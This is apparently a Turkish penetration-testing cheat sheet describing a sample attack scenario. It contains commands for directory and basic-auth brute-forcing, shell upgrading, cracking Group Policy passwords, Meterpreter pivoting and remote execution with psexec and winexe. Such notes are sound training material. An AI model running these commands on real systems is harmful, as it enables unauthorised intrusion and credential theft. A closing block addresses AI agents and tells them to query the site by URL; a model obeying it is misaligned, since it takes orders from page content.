# Örnek Bir Senaryo

### Senayo 1:

Hedef web uygulamasına `dirbuster` başlat. (**wordlist**: /usr/share/dirbuster/wordlist/directory-list-1.0.txt)

HTTP basic auth mekanizmasına brute-force saldırısı yap. Bu işlem için cewl aracını kullan.

```
cewl domain.com -m 6 -w /root/file.txt 2 > /dev/null
```

> hash-identifier aracını kullanılan hash algoritmasını öğrenmek için kullanılabilir.

Kullanılan web uygulamasına ait exploit googledan araştırılır.

`python -c 'import pty; pty.spawn("/bin/bash")'`\
`EXPORT TERM=linux`

OS info;\
`cat /etc/issue`

Priv. esc. için googledan exploit aratılır. (`gimmeroot.c`)

Root olduktan sonra `.htaccess` dosyasından izin verilen ip adresleri öğrenilir.

> post/windows/gather/enum\_domain domain adı ve DC adına ait bilgileri getirir. Aşağıdaki komut DC'de bulunan grup policy dosyasını bulmak için kullanılır. Grup policy dosyasında kullanıcıya ait parola bilgisi yer alabilir. net use z: \MACHINE\_IP\SYSVOL

Grup policy dosyasında bulunan parola `gpp-decrypt` aracı kullanılarak kırılabilir.

### Port Forwarding ve Routing Meterpreter

Meterpreter oturumu elde edilen makine üzerinde meterpreter backgrounda alındıktan sonra aşağıdaki komut yardımıyla route kuralı tanımlanır.

```
msf > route add TARGET SUBNET METERPRETER_SESSION
```

Meterpreter oturumu elde edilen makinenin 445 portuna gelen trafiği "X.X.X.X" ip adresinin 445 portuna yönlendir.

```
meterpreter > portfwd add -l 445 -p 445 -r X.X.X.X
```

### winexe

```
# winexe -U Administrator%Password //IP "cmd"
# psexec.py ./eviluser:Password@IP cmd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/oernek-bir-senaryo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
